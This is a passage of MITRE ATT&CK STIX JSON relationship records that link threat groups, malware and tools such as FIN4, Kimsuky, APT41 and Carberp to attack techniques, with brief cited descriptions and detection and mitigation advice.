2021)","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c35e3d28-f9f2-4547-9927-7b734ebec54c","created":"2019-01-31T02:01:45.725Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye Hacking FIN4 Video Dec 2014","description":"Vengerik, B. & Dennesen, K.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved January 15, 2019.","url":"https://www2.fireeye.com/WBNR-14Q4NAMFIN4.html"},{"source_name":"FireEye Hacking FIN4 Dec 2014","description":"Vengerik, B. et al.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved December 17, 2018.","url":"https://www.mandiant.com/sites/default/files/2021-09/rpt-fin4.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-01T21:27:44.793Z","description":"[FIN4](https://attack.mitre.org/groups/G0085) has used spearphishing emails containing attachments (which are often stolen, legitimate documents sent from compromised accounts) with embedded malicious macros.(Citation: FireEye Hacking FIN4 Dec 2014)(Citation: FireEye Hacking FIN4 Video Dec 2014)","relationship_type":"uses","source_ref":"intrusion-set--d0b3393b-3bec-4ba3-bda9-199d30db47b6","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c367a9f5-132b-40b3-8a00-ac71c6a8b65e","type":"relationship","created":"2022-03-30T14:26:51.836Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.836Z","description":"Monitor for newly executed processes that could be used to abuse internet browser extensions to establish persistence. ","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c3688800-5bf2-4e2f-93ed-27f66d3be8bd","created":"2022-03-15T20:02:43.822Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"KISA Operation Muzabi","description":"KISA. (2021). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 8, 2024.","url":"https://web.archive.org/web/20220328121326/https://boho.or.kr/filedownload.do?attach_file_seq=2695&attach_file_id=EpF2695.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-30T17:31:57.416Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has executed malware with regsvr32s.(Citation: KISA Operation Muzabi)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c36deed2-7da5-4c41-b6f0-eebc94bb17e9","type":"relationship","created":"2020-11-18T19:44:20.472Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Bazar July 2020","url":"https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles","description":"Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9’S DEVELOPMENT CYCLES. Retrieved November 18, 2020."},{"source_name":"Zscaler Bazar September 2020","url":"https://www.zscaler.com/blogs/research/spear-phishing-campaign-delivers-buer-and-bazar-malware","description":"Sadique, M. and Singh, A. (2020, September 29). Spear Phishing Campaign Delivers Buer and Bazar Malware. Retrieved November 19, 2020."},{"source_name":"CrowdStrike Wizard Spider October 2020","url":"https://www.crowdstrike.com/blog/wizard-spider-adversary-update/","description":"Podlosky, A., Hanel, A. et al. (2020, October 16). WIZARD SPIDER Update: Resilient, Reactive and Resolute. Retrieved June 15, 2021."}],"modified":"2021-06-21T20:54:59.149Z","description":"[Bazar](https://attack.mitre.org/software/S0534) has been spread via emails with embedded malicious links.(Citation: Cybereason Bazar July 2020)(Citation: Zscaler Bazar September 2020)(Citation: CrowdStrike Wizard Spider October 2020)","relationship_type":"uses","source_ref":"malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c372d356-6d5d-4454-b6b4-8297d0da1579","created":"2022-12-13T20:53:59.865Z","revoked":false,"external_references":[{"source_name":"Mandiant APT41","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.","url":"https://www.mandiant.com/resources/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-12-13T20:53:59.865Z","description":"During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) used a ConfuserEx obfuscated BADPOTATO exploit to abuse named-pipe impersonation for local `NT AUTHORITY\\SYSTEM` privilege escalation.(Citation: Mandiant APT41)","relationship_type":"uses","source_ref":"campaign--ba6dfa37-f401-4140-88b0-8938f2895e61","target_ref":"attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c375648a-e0ce-49f1-8428-d498444e0e64","created":"2024-10-08T13:27:42.242Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-08T13:27:42.242Z","description":"Restrict or block web-based content that could be used to extract session cookies or credentials stored in browsers. Use browser security settings, such as disabling third-party cookies and restricting browser extensions, to limit the attack surface.","relationship_type":"mitigates","source_ref":"course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--c3792087-2552-4b05-8f7b-d1564f73dd5e","created":"2022-04-18T19:01:20.374Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for the SAM registry key being accessed that may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software.","modified":"2022-04-18T19:01:20.374Z","relationship_type":"detects","source_ref":"x-mitre-data-component--ed0dd8aa-1677-4551-bb7d-8da767617e1b","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c37afb06-a8bb-48ac-ba38-a09bdc8833a9","created":"2024-05-23T22:47:44.156Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cadet Blizzard emerges as novel threat actor","description":"Microsoft Threat Intelligence. (2023, June 14). Cadet Blizzard emerges as a novel and distinct Russian threat actor. Retrieved July 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-novel-and-distinct-russian-threat-actor/"},{"source_name":"CISA GRU29155 2024","description":"US Cybersecurity & Infrastructure Security Agency et al. (2024, September 5). Russian Military Cyber Actors Target U.S. and Global Critical Infrastructure. Retrieved September 6, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-09/aa24-249a-russian-military-cyber-actors-target-us-and-global-critical-infrastructure.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-06T22:11:43.593Z","description":"[Ember Bear](https://attack.mitre.org/groups/G1003) gathers victim system information such as enumerating the volume of a given device or extracting system and security event logs for analysis.(Citation: Cadet Blizzard emerges as novel threat actor)(Citation: CISA GRU29155 2024)","relationship_type":"uses","source_ref":"intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--c37d24cf-8ea8-4212-831e-bc3f37c10893","created":"2022-02-08T16:11:38.621Z","x_mitre_version":"1.0","external_references":[{"source_name":"Peirates GitHub","url":"https://github.com/inguardians/peirates","description":"InGuardians. (2022, January 5). Peirates GitHub. Retrieved February 8, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Peirates](https://attack.mitre.org/software/S0683) can use stolen service account tokens to perform its operations.(Citation: Peirates GitHub)","modified":"2022-04-16T22:14:43.055Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--79dd477a-8226-4b3d-ad15-28623675f221","target_ref":"attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c37f69b0-176a-483d-b75c-3b0c84e03276","type":"relationship","created":"2021-10-07T16:43:58.716Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET BackdoorDiplomacy Jun 2021","url":"https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/","description":"Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, 2021"}],"modified":"2021-10-07T16:43:58.716Z","description":"[BackdoorDiplomacy](https://attack.mitre.org/groups/G0135) has copied files of interest to the main drive's recycle bin.(Citation: ESET BackdoorDiplomacy Jun 2021)","relationship_type":"uses","source_ref":"intrusion-set--9735c036-8ebe-47e9-9c77-b0ae656dab93","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c380f574-0f88-4481-84c2-f429bd47c84d","created":"2022-09-27T18:08:20.744Z","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-27T18:08:20.744Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors has used WMI to execute commands.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c384718b-90e4-4bd7-ae2e-ff705c40a23a","created":"2024-03-29T05:34:23.139Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-29T05:34:23.139Z","description":"Install .NET applications and related software in write-protected locations. Set directory access controls to prevent file writes to the search paths for .NET applications, both in the folders where applications are run from and the standard resources folders.","relationship_type":"mitigates","source_ref":"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448","target_ref":"attack-pattern--356662f7-e315-4759-86c9-6214e2a50ff8","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--c3893875-4f9e-43e4-babf-6f45ec485444","created":"2022-03-07T19:33:01.775Z","x_mitre_version":"1.0","external_references":[{"source_name":"Check Point Meteor Aug 2021","url":"https://research.checkpoint.com/2021/indra-hackers-behind-recent-attacks-on-iran/","description":"Check Point Research Team. (2021, August 14). Indra - Hackers Behind Recent Attacks on Iran. Retrieved February 17, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Meteor](https://attack.mitre.org/software/S0688) has the ability to discover the hostname of a compromised host.(Citation: Check Point Meteor Aug 2021)","modified":"2022-04-09T15:27:18.065Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--d79e7a60-5de9-448e-a074-f95d2d80f8d0","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c389a84f-0ab2-4ab8-aa65-cb668513fce8","type":"relationship","created":"2021-10-14T15:12:18.119Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Nomadic Octopus 2018","url":"https://www.virusbulletin.com/uploads/pdf/conference_slides/2018/Cherepanov-VB2018-Octopus.pdf","description":"Cherepanov, A. (2018, October 4). Nomadic Octopus Cyber espionage in Central Asia. Retrieved October 13, 2021."}],"modified":"2021-10-14T15:12:18.119Z","description":"[Octopus](https://attack.mitre.org/software/S0340) has been delivered via spearsphishing emails.(Citation: ESET Nomadic Octopus 2018)","relationship_type":"uses","source_ref":"malware--e2031fd5-02c2-43d4-85e2-b64f474530c2","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c39e878e-a496-4271-9998-2d5c9511e0a4","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Zscaler Kasidet","description":"Yadav, A., et al. (2016, January 29). Malicious Office files dropping Kasidet and Dridex. Retrieved March 24, 2016.","url":"http://research.zscaler.com/2016/01/malicious-office-files-dropping-kasidet.html"}],"modified":"2020-03-16T17:02:26.260Z","description":"[Kasidet](https://attack.mitre.org/software/S0088) has the ability to download and execute additional files.(Citation: Zscaler Kasidet)","relationship_type":"uses","source_ref":"malware--26fed817-e7bf-41f9-829a-9075ffac45c2","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c39edafb-5a90-43a3-af9f-6865c5a6a71f","created":"2023-09-27T14:42:33.106Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Booz Allen Hamilton","description":"Booz Allen Hamilton When The Lights Went Out Retrieved. 2019/10/22 ","url":"https://www.boozallen.com/content/dam/boozallen/documents/2016/09/ukraine-report-when-the-lights-went-out.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-27T15:29:51.040Z","description":"During the [2015 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0028), [Sandworm Team](https://attack.mitre.org/groups/G0034) moved their tools laterally within the corporate network and between the ICS and corporate network. (Citation: Booz Allen Hamilton)","relationship_type":"uses","source_ref":"campaign--46421788-b6e1-4256-b351-f8beffd1afba","target_ref":"attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c3a1969b-1edb-4a78-80ab-b122cc2822e4","created":"2017-05-31T21:33:27.078Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Citizen Lab Group5","description":"Scott-Railton, J., et al. (2016, August 2). Group5: Syria and the Iranian Connection. Retrieved September 26, 2016.","url":"https://citizenlab.ca/2016/08/group5-syria/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T02:24:18.614Z","description":"[Group5](https://attack.mitre.org/groups/G0043) disguised its malicious binaries with several layers of obfuscation, including encrypting the files.(Citation: Citizen Lab Group5)","relationship_type":"uses","source_ref":"intrusion-set--7331c66a-5601-4d3f-acf6-ad9e3035eb40","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c3a35bf1-acfc-4e70-8be8-db843110a142","type":"relationship","created":"2021-05-26T19:54:55.773Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Group IB Silence Aug 2019","url":"https://www.group-ib.com/resources/threat-research/silence_2.0.going_global.pdf","description":"Group-IB. (2019, August). Silence 2.0: Going Global. Retrieved May 5, 2020."},{"description":"GReAT. (2017, November 1). Silence – a new Trojan attacking financial organizations. Retrieved May 24, 2019.","url":"https://securelist.com/the-silence/83009/","source_name":"SecureList Silence Nov 2017"}],"modified":"2021-05-26T19:54:55.773Z","description":"[Silence](https://attack.mitre.org/groups/G0091) has obtained and modified versions of publicly-available tools like [Empire](https://attack.mitre.org/software/S0363) and [PsExec](https://attack.mitre.org/software/S0029).(Citation: Group IB Silence Aug 2019) (Citation: SecureList Silence Nov 2017)","relationship_type":"uses","source_ref":"intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c3aa5639-a8e1-4de3-8f39-cc98593973ed","type":"relationship","created":"2020-05-07T02:33:06.892Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"QiAnXin APT-C-36 Feb2019","url":"https://web.archive.org/web/20190625182633if_/https://ti.360.net/blog/articles/apt-c-36-continuous-attacks-targeting-colombian-government-institutions-and-corporations-en/","description":"QiAnXin Threat Intelligence Center. (2019, February 18). APT-C-36: Continuous Attacks Targeting Colombian Government Institutions and Corporations. Retrieved May 5, 2020."}],"modified":"2020-10-14T14:40:36.557Z","description":"[Imminent Monitor](https://attack.mitre.org/software/S0434) has encrypted the spearphish attachments to avoid detection from email gateways; the debugger also encrypts information before sending to the C2.(Citation: QiAnXin APT-C-36 Feb2019)","relationship_type":"uses","source_ref":"tool--8f8cd191-902c-4e83-bf20-b57c8c4640e9","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c3add97f-09bc-4c16-81ff-116106558487","type":"relationship","created":"2020-07-15T20:23:36.328Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trusteer Carberp October 2010","url":"https://web.archive.org/web/20111004014029/http://www.trusteer.com/sites/default/files/Carberp_Analysis.pdf","description":"Trusteer Fraud Prevention Center. (2010, October 7). Carberp Under the Hood of Carberp: Malware & Configuration Analysis. Retrieved July 15, 2020."}],"modified":"2020-08-03T15:17:31.879Z","description":"[Carberp](https://attack.mitre.org/software/S0484) has connected to C2 servers via HTTP.(Citation: Trusteer Carberp October 2010)","relationship_type":"uses","source_ref":"malware--bbcd7a02-ef24-4171-ac94-a93540173b94","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c3b1f90e-6b04-4e6f-99ae-e63b1607f72c","type":"relationship","created":"2021-07-22T19:36:52.307Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NSA and ASD Detect and Prevent Web Shells 2020","url":"https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF","description":"NSA and ASD. (2020, April 3). Detect and Prevent Web Shell Malware. Retrieved July 23, 2021."}],"modified":"2021-07-26T13:46:48.225Z","description":"Enforce the principle of least privilege by limiting privileges of user accounts so only authorized accounts can modify the web directory.(Citation: NSA and ASD Detect and Prevent Web Shells 2020)","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c3bedbae-b1e1-4a35-8c59-d181dca093e4","type":"relationship","created":"2020-05-07T22:53:31.241Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"QiAnXin APT-C-36 Feb2019","url":"https://web.archive.org/web/20190625182633if_/https://ti.360.net/blog/articles/apt-c-36-continuous-attacks-targeting-colombian-government-institutions-and-corporations-en/","description":"QiAnXin Threat Intelligence Center. (2019, February 18). APT-C-36: Continuous Attacks Targeting Colombian Government Institutions and Corporations. Retrieved May 5, 2020."}],"modified":"2020-10-14T14:40:36.608Z","description":"[APT-C-36](https://attack.mitre.org/groups/G0099) has downloaded binary data from a specified domain after the malicious document is opened.(Citation: QiAnXin APT-C-36 Feb2019)","relationship_type":"uses","source_ref":"intrusion-set--c4d50cdf-87ce-407d-86d8-862883485842","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c3c1440f-4585-47a6-8864-e5d3a22c2b84","created":"2024-07-29T22:36:49.883Z","revoked":false,"external_references":[{"source_name":"SentinelOne WinterVivern 2023","description":"Tom Hegel. (2023, March 16). Winter Vivern | Uncovering a Wave of Global Espionage. Retrieved July 29, 2024.","url":"https://www.sentinelone.com/labs/winter-vivern-uncovering-a-wave-of-global-espionage/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-29T22:36:49.883Z","description":"[Winter Vivern](https://attack.mitre.org/groups/G1035) created specially-crafted documents mimicking legitimate government or similar documents during phishing campaigns.(Citation: SentinelOne WinterVivern 2023)","relationship_type":"uses","source_ref":"intrusion-set--75a07184-a7e5-4222-95a1-a04dbc96a29c","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c3c323ed-e3db-495c-b9b4-c00ada5a37fe","type":"relationship","created":"2021-11-19T15:35:37.781Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro DRBControl February 2020","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."}],"modified":"2021-11-19T15:35:37.781Z","description":"[Clambling](https://attack.mitre.org/software/S0660) has the ability to communicate over HTTP.(Citation: Trend Micro DRBControl February 2020)","relationship_type":"uses","source_ref":"malware--6e95feb1-78ee-48d3-b421-4d76663b5c49","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c3c37431-5f1a-4282-ac0b-fd4270d67cd7","type":"relationship","created":"2020-10-20T03:24:36.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-15T03:30:33.671Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--e3b168bd-fcd7-439e-9382-2e6c2f63514d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--c3c63f57-cd55-4b9e-8bdc-c98be4b2d046","created":"2022-03-30T14:26:51.838Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor cloud logs for API calls used for file or object enumeration for unusual activity. System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.","modified":"2022-04-14T20:10:34.897Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--fcc4811f-9cc8-4db5-8097-4d8242a380de","target_ref":"attack-pattern--8565825b-21c8-4518-b75e-cbc4c717a156","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c3c78b2e-a53e-4020-8fba-6e63c73e0b76","created":"2023-02-08T00:03:06.880Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Sept 2022","description":"Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.","url":"https://assets.sentinelone.com/sentinellabs22/metador#page=1"},{"source_name":"SentinelLabs Metador Technical Appendix Sept 2022","description":"SentinelLabs. (2022, September 22). Metador Technical Appendix. Retrieved April 4, 